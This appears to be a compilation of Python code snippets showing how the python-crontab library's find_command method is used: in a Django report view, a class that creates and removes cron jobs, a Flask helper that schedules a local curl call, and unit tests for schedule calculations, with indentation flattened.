def report_details(request): report = telemetry.Report(request.GET['config']) c = CronTab(user=telemetry.getConfig()['cron_user'], sudo=True) crons = c.find_command(report.script) data = [] for cron in crons: data.append(cron.render().split('# ')) t = get_template("report_details.html") html = t.render(Context({'report': report, 'crons': data})) return HttpResponse(html)
class PlatformCron: def __init__(self, platform_config): self.platform_config = platform_config self.cron = CronTab(user=self.platform_config.cron_user()) self.log = logger.get_logger('cron') def remove(self): self.log.info("remove crontab task") for job in self.cron.find_command(self.platform_config.cron_cmd()): self.cron.remove(job) self.cron.write() def create(self): self.log.info("create crontab task") ci_job = self.cron.new(command=self.platform_config.cron_cmd()) ci_job.setall(self.platform_config.cron_schedule()) self.cron.write()
def schedule_apply(config): cmd = 'curl %s' % flask.url_for('apply', slug=config.slug, _external='127.0.0.1:5000') cron = CronTab() existing = cron.find_command(cmd) try: job = next(existing) for j in existing: cron.remove(j) except StopIteration: job = cron.new(command=cmd) try: job.every(int(str(config.cron))).minutes() except ValueError: assert(job.setall(config.cron)) cron.write()
class BasicTestCase(unittest.TestCase): """Test basic functionality of crontab.""" def setUp(self): self.crontab = CronTab(tab=INITAL_TAB) self.job = list(self.crontab.find_command('execute'))[0] def test_01_schedule(self): """Get Scheduler""" ct = self.job.schedule(datetime(2009, 10, 11, 5, 12, 10)) self.assertTrue(ct) def test_02_next(self): """Get Next Scheduled Items""" ct = self.job.schedule(datetime(2000, 10, 11, 5, 12, 10)) self.assertEqual(ct.get_next(), datetime(2000, 10, 11, 5, 20, 0)) self.assertEqual(ct.get_next(), datetime(2000, 10, 11, 6, 20, 0)) def test_02_prev(self): """Get Prev Scheduled Items""" ct = self.job.schedule(datetime(2001, 10, 11, 1, 12, 10)) self.assertEqual(ct.get_prev(), datetime(2001, 10, 11, 0, 20, 0)) self.assertEqual(ct.get_prev(), datetime(2001, 10, 10, 23, 20, 0))